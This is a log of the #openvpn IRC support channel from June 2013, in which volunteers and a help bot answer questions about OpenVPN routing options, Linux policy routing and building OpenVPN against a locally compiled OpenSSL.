21:04 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
21:04 < Kayron> and it help
21:04 < Kayron> ed
21:05 < pekster> Options error: unknown --redirect-gateway flag: eth0
21:05 < pekster> Try again
21:05 < pekster> You clearly have messed something else up. So:
21:05 < pekster> !configs
21:05 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
21:05 < pekster> !logs
21:05 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
21:05 < Kayron> It's in the server.conf file
21:05 < EugeneKay> !beer
21:05 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
21:05 < pekster> Come back when you've got that pasted somewhere. Ideally not pastebin.com:
21:06 < pekster> !paste
21:06 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments comments
21:06 < EugeneKay> I hate.... what's the one with the cancer donate beg box... pastie?
21:06 < pekster> !forget paste 3
21:06 <@vpnHelper> Joo got it.
21:06 < EugeneKay> I refuse to help people who use that one on the grounds that they're assholes.
21:06 < pekster> !learn paste as If you're pasting config files, see !configs for grep syntax to remove comments
21:06 <@vpnHelper> Joo got it.
21:08 < EugeneKay> pekster, while you're at it, could you add a !nopull ?
21:09 < pekster> nopull? As in, *not* using --pull? :P
21:10 < pekster> Or did you mean push-reset?
21:15 -!- Kayron|dc [~pochamong@emonga.kayron.byinter.net] has joined #openvpn
21:15 < Kayron|dc> oops
21:15 < Kayron|dc> is there something that overrides the /1 routes? ie, route everything besides, say, 8.8.8.8 (Google DNS)
21:16 < pekster> That's not how routing works
21:17 < pekster> You could add a route using --route to 8.8.8.8/32 via the macro net_gateway, which corresponds to the pre-existing host's default gateway
21:17 -!- Kayron [pochamonga@bzq-79-183-176-5.red.bezeqint.net] has quit [Ping timeout: 248 seconds]
21:17 -!- Kayron|dc is now known as Kayron
21:18 < pekster> You could optionally learn how to do policy routing to route based on various policies you defeine, but that is well outside the scope of this channel. Judging by "eth0" I presume you're using Linux; the LARTC howto de-facto way to learn about advanced Linux routing
21:18 < Kayron> ok, thanks
21:19 < Kayron> I assumed that if a rule was written later in the file it would be the one openvpn would use
21:19 < pekster> Nope. The kernel makes a routing decision (within each routing table) based on the most specific match
21:19 < Kayron> ok
21:20 < pekster> Thus a /1 overrides the default route (aka a /0 route.) A /32 route is the most specific you can get, thus using --route with a netmask for /32 (ie: 255.255.255.255) will be more specific than any other pre-existing route
21:20 < EugeneKay> Something something 101.
21:20 < pekster> Indeed
21:21 < Kayron> so if I wanted to use the 8.8.8.8/32 example, how would I tell openvpn to use the macro net_gateway?
21:21 < pekster> I'd start by reading the manpage for --route and asking a smarter question that shows you read and understood that
21:21 < Kayron> I get that it chooses the more specific route
21:22 < Kayron> route 8.8.8.8 255.255.255.255 net_gateway ?
21:22 < pekster> ding!
21:22 < Kayron> See thats what I didn't get, that there could be an address after the netmask (net_gateway in this case)
21:23 < Kayron> no example showed that
21:23 < pekster> !man
21:23 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
21:23 < Kayron> thank you
21:23 < pekster> Outside of reading the source code, the manpage is your next-best "definitive" resource for using almost any program; use them
21:24 < Kayron> I usually do, this def1 thing stumped me
21:25 < Kayron> anyways, thank you guys, if I have anymore questions I'll come back with logs :)
21:26 < Kayron> I just dont like pastebins in that you cant delete them later
21:26 < Kayron> most of them anyway
21:27 -!- Kayron [~pochamong@emonga.kayron.byinter.net] has quit [Quit: Kayron]
21:28 < pekster> !topsecret
21:29 <@vpnHelper> "topsecret" is if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust.
21:29 < pekster> Oh, /quit :(
21:31 < EugeneKay> /beer
21:32 < EugeneKay> pekster - I meant, we need a factoid for --route-nopull.
21:32 < EugeneKay> And i can't add it, because the bot hates me.
21:33 < pekster> Ah, k
21:34 < pekster> !learn route-nopull as If you want to accept pushed options from the server but not apply the routes (including --redirect-gateway) you can use --route-nopull to ignore all pushed routes
21:34 <@vpnHelper> Joo got it.
21:34 < pekster> !learn nopull as [route-nopull]
21:34 <@vpnHelper> Joo got it.
21:35 < EugeneKay> <3
21:43 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
22:05 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Read error: Operation timed out]
22:53 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 268 seconds]
22:59 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
23:20 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 240 seconds]
23:21 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
23:32 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 264 seconds]
23:35 -!- stones_ [~anthony@pool-71-183-247-164.nycmny.fios.verizon.net] has joined #openvpn
23:36 < stones_> Hi guys. Does anyone here use PPTP? I can't seem to find a help channel specifically for it.
23:36 < stones_> Im not sure if this is a general issue however I have everything installed correctly and I can connect to the primary IP. Im wanting to connect to a secondary IP on the server but it won't connect. Could someone let me know if I a missing something?
23:39 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
23:40 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has quit [Client Quit]
23:48 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Excess Flood]
23:52 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
23:52 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
23:55 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has quit [Remote host closed the connection]
--- Day changed Fri Jun 21 2013
00:05 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
00:06 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Read error: Connection reset by peer]
00:06 -!- oc80z [oc80z@blea.ch] has quit [Ping timeout: 248 seconds]
00:06 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
00:07 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 248 seconds]
00:10 -!- oc80z [oc80z@blea.ch] has joined #openvpn
00:22 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
00:26 -!- VunKruz [~hhhh@108-206-230-116.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
00:27 -!- kristijonas [~kristijon@78.60.246.97] has quit [Quit: Leaving]
00:55 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
01:29 -!- mitz [~mitz@rt.miraclelinux.com] has joined #openvpn
01:33 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:45 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:11 -!- stones_ [~anthony@pool-71-183-247-164.nycmny.fios.verizon.net] has quit [Quit: stones_]
02:24 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 256 seconds]
02:27 -!- thinkHell [~Hell@85.15.47.27] has joined #openvpn
02:30 -!- thinkHell [~Hell@85.15.47.27] has quit [Client Quit]
02:30 -!- thinkHell [~Hell@85.15.47.27] has joined #openvpn
02:46 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
03:04 -!- mitz [~mitz@rt.miraclelinux.com] has quit [Ping timeout: 255 seconds]
03:16 -!- darkdrgn2k [~darkdrgn2@69.165.131.20] has quit [Ping timeout: 246 seconds]
03:20 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
03:29 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
03:49 -!- dazo_afk is now known as dazo
04:28 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has quit [Excess Flood]
04:32 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
04:50 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 255 seconds]
04:52 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 245 seconds]
04:53 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
04:56 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
04:56 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
05:04 -!- mitz [~mitz@g1-27-253-251-110.bmobile.ne.jp] has joined #openvpn
05:09 -!- mitz [~mitz@g1-27-253-251-110.bmobile.ne.jp] has quit [Ping timeout: 268 seconds]
05:46 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:47 -!- p3rror [~p3rror@41.249.253.52] has quit [Client Quit]
05:47 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:50 -!- p3rror [~p3rror@41.249.253.52] has quit [Client Quit]
05:51 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:56 -!- Denial [~Denial@90.205.133.229] has joined #openvpn
05:58 -!- thinkHell [~Hell@85.15.47.27] has quit [Quit: ["pop()"]]
06:04 -!- alexander__b [~alexander@fsf/member/alexanderb] has quit [Ping timeout: 268 seconds]
06:37 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:09 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
07:18 -!- lkthomas [~lkthomas@n218250155248.netvigator.com] has quit [Ping timeout: 248 seconds]
07:24 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
07:48 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
07:52 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 260 seconds]
07:52 -!- michaelhart_ is now known as michaelhart
08:05 -!- exed [~maximus@host-188-174-203-51.customer.m-online.net] has joined #openvpn
08:05 -!- exed [~maximus@host-188-174-203-51.customer.m-online.net] has quit [Client Quit]
08:06 -!- spodletela [~spodletel@89-212-170-180.static.t-2.net] has quit [Ping timeout: 246 seconds]
08:10 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 256 seconds]
08:11 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:12 < jzaw> !ping
08:12 <@vpnHelper> pong
08:13 < jzaw> !pin
08:13 < jzaw> !ping
08:13 <@vpnHelper> pong
08:47 -!- marek [mmahut@nat/redhat/x-zqxxacencwojivph] has joined #openvpn
08:47 < marek> hi folks, is there any way to display a banner for connecting users? for example if the server is being decomissioned etc
09:04 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:07 < fischli> marek: you may use an up-down script to initiate an automated message by mail or whatever
09:08 < marek> fischli: could that be used on the server side to display a message on the connection console?
09:10 < fischli> marek: I do not know any feature in openvpn to send a message, while connecting, back to the client
09:14 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:22 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:22 -!- Gryllida [quasselcor@freenode/staff/gry] has joined #openvpn
09:25 -!- stones_ [~anthony@pool-71-183-247-164.nycmny.fios.verizon.net] has joined #openvpn
09:33 < pppingme> marek such a feature would be way to dependent on OS and environment (not all openvpn clients even run a gui), just don't even see a way for it to be possible.
09:34 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has joined #openvpn
09:34 < marek> pppingme: true, but the message could be on the console
09:34 < marek> I know the cisco vpn has such a feature
09:34 < pppingme> if you're just changing an IP or something, it should be as simple as adjusting dns, unless you hard coded an IP in the config file
09:34 < pppingme> marek not even all clients have a screen..
09:36 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
09:37 < marek> pppingme: the problem is I'm changin the DNS Too
09:37 < marek> so I have a problem with my SSL
09:37 < marek> which is confused even with altSubjec
09:39 < pppingme> Depending on who the users are, I'd think it would be worth paying $10/year to maintain a domain name..
10:08 -!- fischli [~fischli@data.fischer-ing.de] has left #openvpn []
10:08 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
10:16 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
10:43 -!- Thermi [~Thermi@unaffiliated/thermi] has quit [Read error: Connection reset by peer]
10:46 -!- lirime [~liriel@aphrodite.feralhosting.com] has joined #openvpn
10:48 -!- Thermi [~Thermi@unaffiliated/thermi] has joined #openvpn
11:57 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
12:01 -!- Alina-malina [Alina-mali@82.199.216.54] has quit [Quit: Leaving]
12:02 -!- Alina-malina [Alina-mali@82.199.216.54] has joined #openvpn
12:06 -!- kjs [~kjs@li468-203.members.linode.com] has quit [Ping timeout: 276 seconds]
12:13 -!- dazo is now known as dazo_afk
12:14 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
12:39 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 260 seconds]
12:56 -!- pronto [pronto@tasty.bagels.xxx] has joined #openvpn
12:57 -!- s00ner [s00ner@alpha.doublehack.org] has joined #openvpn
12:58 < s00ner> pronto: oh hai
12:58 < pronto> <3
12:58 -!- Socket- [~Socket_@pool-108-28-190-93.washdc.fios.verizon.net] has joined #openvpn
13:00 -!- landono_ [~landono@199-58-199-98.acedc.net] has joined #openvpn
13:15 -!- kubbing [~kubbing@ip-89-177-146-64.net.upcbroadband.cz] has joined #openvpn
13:21 -!- stones_ [~anthony@pool-71-183-247-164.nycmny.fios.verizon.net] has quit [Quit: stones_]
13:28 -!- kubbing [~kubbing@ip-89-177-146-64.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
13:32 -!- kubbing [~kubbing@ip-89-177-146-64.net.upcbroadband.cz] has joined #openvpn
14:27 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has joined #openvpn
14:41 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
14:44 -!- kubbing [~kubbing@ip-89-177-146-64.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
14:54 -!- gil [~gil@48.120.158.98.client.static.strong-in10.as13926.net] has joined #openvpn
14:57 < gil> Hi all - I have openvpn configured on my tomato router, so I'm trying to learn as I go along. I have a script that runs on WAN up to prevent some local IP addresses going through VPN - for example 'ip rule add from 192.168.1.123 lookup 4' routes through table 4 to avoid vpn. However, in this instance, is there a way to do something similar dependent on destination IP address?
14:59 < pekster> gil: Under Linux, I find the easiest way to do that is by using netfilter marks (fwmark, the per-packet mark you get with -j MARK) and then using the fwmark match under `ip rule`
14:59 < pekster> You can do u32 matches with `ip rule` too, but those are all on a per-packet basis, and I find netfilter both easier to setup (you get access to the high-level stream info via conntrack) and more flexible
15:00 < gil> hrrrm. Right, I'll have a google and see if I can do it that way in tomato
15:00 < pekster> Works fine under OpenWRT; I'd be surprised if tomato didn't have at the very least xt_mark support
15:01 < gil> I don't doubt that - this is more down to me trying to figure this stuff out as I go along. I couldn't even find a man page for openvpn which is a shame as I'd love to just read a list of all the commands and what they do without having to pick apart endless example scripts
15:01 < pekster> !man
15:01 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
15:02 < pekster> Embedded distros generally ship without (or very minimal) man/docs on the system as it eats up precious storage space
15:02 < pekster> Use a real system, or just download the official OpenVPN tarball and extract the manpage, or use the URL you just got
15:03 < gil> :)
15:03 < pekster> The LARCT HOWTO is the de-facto policy routing reference for Linux as well; they talk about everything from simple policy routing to advanced matches
15:03 < pekster> LARTC*
15:04 < pekster> It sounds like you already have a handle on creating/using multiple routing tables, so parts of that will likely be review for you. I think it's just a matter of learning how to leverage netfilter to play with what you know of routing and you'll have new tools available to you
15:05 < pekster> FYI, there's also #netfilter if you have more specific questions; while it's mostly for netfilter support, you'll find folks there who can help with routing or QoS integration too
15:09 < gil> okay. Thanks for the help - I'm on my way here and reading up on marking :)
15:15 -!- cjs226 [~cjs226@rrcs-108-178-108-179.sw.biz.rr.com] has quit [Quit: cjs226]
15:22 -!- master_of_master [~master_of@p4FD7BB76.dip0.t-ipconnect.de] has joined #openvpn
15:26 -!- master_o1_master [~master_of@p4FD7B17B.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds]
15:27 -!- gil [~gil@48.120.158.98.client.static.strong-in10.as13926.net] has quit [Read error: Connection reset by peer]
15:38 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has joined #openvpn
15:57 -!- Alina-malina [Alina-mali@82.199.216.54] has quit [Read error: Connection reset by peer]
15:57 -!- Alina-malina [Alina-mali@82.199.216.54] has joined #openvpn
16:01 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
16:15 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:40 -!- ele [~maarten@pinky.elexer.com] has quit [Read error: Connection reset by peer]
16:40 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
16:46 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
16:47 -!- ele [~maarten@pinky.elexer.com] has quit [Disconnected by services]
16:48 -!- ele_ is now known as ele
16:48 -!- abyss [~abyss@i-free.pl] has quit [Ping timeout: 268 seconds]
17:09 -!- abyss [~abyss@i-free.pl] has joined #openvpn
17:10 -!- stones_ [~anthony@pool-71-183-247-164.nycmny.fios.verizon.net] has joined #openvpn
17:14 -!- stones_ [~anthony@pool-71-183-247-164.nycmny.fios.verizon.net] has quit [Client Quit]
17:28 -!- Denial [~Denial@90.205.133.229] has quit []
17:30 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:11 -!- CookieNinja_ is now known as CookieNinja
18:21 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 268 seconds]
18:32 -!- defswork [~andy@141.0.50.105] has joined #openvpn
18:39 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
18:55 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
19:10 -!- averagecase [~anon@dslb-088-078-250-039.pools.arcor-ip.net] has quit [Quit: Verlassend]
19:11 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
19:11 -!- Mike3 [mad@probie.xs4all.nl] has quit [Read error: Connection reset by peer]
19:14 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Quit: Goodbye, cruel world!]
19:15 -!- phunyguy [~phunyguy@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has joined #openvpn
19:15 -!- phunyguy [~phunyguy@h69-131-9-135.stmyga.broadband.dynamic.tds.net] has quit [Changing host]
19:15 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
19:27 -!- mitz_ [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has joined #openvpn
19:38 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
19:43 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has left #openvpn []
19:52 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
19:52 < |1li> hi
20:05 -!- mitz_ [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has quit [Ping timeout: 256 seconds]
20:25 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
20:28 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 248 seconds]
20:28 -!- Rolybrau [noident@unaffiliated/rolybrau] has joined #openvpn
20:48 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
20:48 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
20:56 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
21:50 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 256 seconds]
21:55 -!- Kalavera [~Kalavera@aquiles.novelix.com.pe] has left #openvpn []
21:56 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
22:05 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
22:51 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
23:01 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
23:26 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 264 seconds]
23:40 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
23:52 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.4.1]
23:55 -!- batrick [batrick@nmap/developer/batrick] has joined #openvpn
--- Day changed Sat Jun 22 2013
00:12 < altker128> Hey all
00:13 < altker128> For those who have built openvpn from source, and have compiled openssl, do you find it's "normal" to copy /usr/local/openssl/lib files to /usr/local/lib ?
00:34 -!- mitz_ [~mitz@p3239-ipbf4307marunouchi.tokyo.ocn.ne.jp] has joined #openvpn
00:43 < pekster> altker128: I don't understand your question. If you build openvpn with the usual dynamic linking, it will link to libssl. In my environment (a build-from-source distribution that installs things to a PREFIX=/usr, this means the following linkage of the openvpn binary:
00:43 < pekster> libssl.so.1.0.0 => /usr/lib/libssl.so.1.0.0
00:45 < pekster> If you've done something odd and installed openssl in a non-standard location that the configure script can't detect, then you'll need to set the proper LDFLAGS (specifically -L) to pick up on them; that's not really an openvpn thing, but a compiler/linking thing
00:54 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
00:57 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
01:00 < altker128> pekster: I didn't build with prefix=/usr , so that explains it.
01:01 < pekster> Doesn't matter
01:01 < pekster> What's your "problem"? If you can't make ./configure work without hacking your libs, either you installed them poorly before, or you failed to add the correct LDFLAGS env-vars when you built openvpn
01:02 < pekster> I also run many side-by-side builds of openvpn (various versions and git trees) installed out of /usr/local/apps/openvpn-$VERSION and they all play fine; they naturally all reference my existing openssl installation
01:06 < pekster> So no, there's no reason you should have to "copy" your .so files around. If you really want to change that system-wide, you should read ldconfig(8) and do so on a proper system-wide basis. If not, learn to use LDFLAGS the way there were intended for one-off tasks
01:08 < pekster> It strikes me as odd to put your openssl stuff in /usr/local/openssl/libs; it's as if asking why my /usr/local/apps/openvpn-2.2.2/sbin/openvpn binary isn't in my PATH (which it naturally isn't unless I manually do so)
01:11 < altker128> pekster: Well, I don't recall having to normally set prefix using configure for building things , but I realize openssl is highly cross-platform
01:14 < pekster> You don't. If you do nothing, the standard convention for ./configure (at least on Linuxes) is to put it in /usr/local
01:15 < pekster> I'm not sure why openssl is a part of this at all; if you need help building openssl, this isn't the right place. If you need help making openvpn *link* to your weirdly-installed openssl installation, then do what I just suggested
01:18 < pekster> In case you haven't managed to figure it out, my comments up until now were supposed to get you thinking about your ldconfig in reference to where your openssl libs are. Let's say I installed openssl to /foo/baz/blah/ as a prefix; why would openvpn's configure/build system know where to find them unless it's been told?
01:20 < altker128> pekster: I'm using Linux, and I'm not trying to do anything weird to either openssl or openvpn .  I just build openssl from source to make sure there were no vulnerabilities, Debian packages a pretty old version
01:21 < pekster> Okay. I'm still not sure what this has to do with openvpn right now
01:21 < pekster> tar xvzf openssl-*; cd openssl-*; ./configure && make && sudo make install && echo "I built openssl"
01:21 < altker128> pekster: It only has to do with openvpn because openvpn depends on openssl and I thought there might have been something odd about openvpn's configure
01:21 < altker128> pekster: Actually that's not right...which was my point.
01:21 < pekster> Nope. There's something odd about what you've done with openssl
01:22 < altker128> pekster: No.  OpenSSL doesn't use the standard configure
01:22 < altker128> pekster: it uses "config" and I had to enable shared library support which isn't a default...which is odd to me, which is why I asked if anyone here has build openssl from source.
01:23 < altker128> pekster: OpenSSL has "Configure" (notice the case) and "config"
01:23 < pekster> Well, it all depends on where *you* chose to install it :)
01:24 < altker128> pekster: Have YOU actually built openssl?  It sounds to me like you haven't and you're telling me how the normal configure stuff under Linux works which I already know.
01:24 < pekster> Sure, openssl uses "config" and emake, which I forgot
01:24 < pekster> Gentoo builds *everything* from sorce
01:24 < pekster> It just installs it to /usr
01:24 < pekster> (ie: PREFIX=/usr)
01:24 < altker128> I assume the ebuild deals with some of the nuances of openssl (i.e. having to go out of your way to enable shared library support)
01:26 < pekster> Apparently just adding in the LDFLAGS and DO_GNU_APP LDFLAGS/CFLAGS stuff
01:29 < pekster> It's passing in a --libdir= and --openssldir= argument too, although I'm not sure exactly what that changes without digging into openssl build nuances (which is more a question for their team, not openvpn's)
01:29 < pekster> The tl;dr here is that if your libs are in an unexpected location, you can't expect any program you build that links against them to know unless you tell it so
01:30 -!- Gryllida [quasselcor@freenode/staff/gry] has quit [Quit: Leaving.]
01:43 -!- darkdrgn2k [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has quit [Read error: Connection reset by peer]
01:44 -!- darkdrgn2k3 [~darkdrgn2@69-165-131-20.dsl.teksavvy.com] has joined #openvpn
01:52 -!- vstariradev [~vstarirad@78.90.120.246] has joined #openvpn
01:52 < vstariradev> !welcome
01:52 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
01:52 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
01:52 < vstariradev> !goal
01:52 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
01:54 < vstariradev> Hi all. I'd like to access my work PC (which is behind a company firewall) from home. Can I use OpenVPN to do that?
01:59 <@krzee> sure, from a single machine at home or the entire network?
01:59 < vstariradev> From a single machine at home.
02:00 < vstariradev> I'm browsing the website but it's hard to find the guide I need to read. I know I'm not the first person to attempt to do that :)
02:01 < pekster> Just the official howto is all you need if you're simply connecting 2 computers:
02:01 < pekster> !howto
02:01 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
02:02 < pekster> Naturally the client (the one initiating the connection) needs to be able to directly access the server (the one listening for an inbound connection) and you'll need to port-forward that request into private address space when sitting behind a NAT
02:05 < vstariradev> Ok. I'd like to VPN connection to be on constantly, would it hog the netword card in any way?
02:06 < vstariradev> I ask because the Cisco VPN clients I used before disable internet access and allow only connection to the VPN server.
02:06 < vstariradev> to=the
02:07 <@krzee> no
02:10 < vstariradev> I have a Mountain Lion OS X, would tunnelblick or a MacPort's openvpn be a better option in your opinion?
02:11 < vstariradev> the ports are openvpn 1.6.0 or openvpn2 2.3.0
02:11 < pekster> I've had excellent results with Tunnelblick
02:12 -!- pronto [pronto@tasty.bagels.xxx] has left #openvpn []
02:12 < pekster> AFAIK there's no UI to speak of if you use a ports version since it'll just get you a binary you're then expected to launch yourself, but I can't say I've looked into it
02:13 < vstariradev> Latest release for it was 2013-05-14, Tunnelblick it is
02:14 < vstariradev> However, it's still in Beta for Mountain Lion
02:14 -!- newbie|3 [~tjz@bb116-14-175-197.singnet.com.sg] has quit [Ping timeout: 248 seconds]
02:25 -!- vstariradev [~vstarirad@78.90.120.246] has quit [Read error: Connection reset by peer]
02:26 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
03:03 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:11 -!- Rolybrau [noident@unaffiliated/rolybrau] has quit [Quit: Rolybrau]
03:25 -!- vstariradev [~vstarirad@78.90.120.246] has joined #openvpn
03:58 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
04:25 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:27 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
04:33 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 255 seconds]
04:40 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
05:05 < jzaw> !ping
05:05 <@vpnHelper> pong
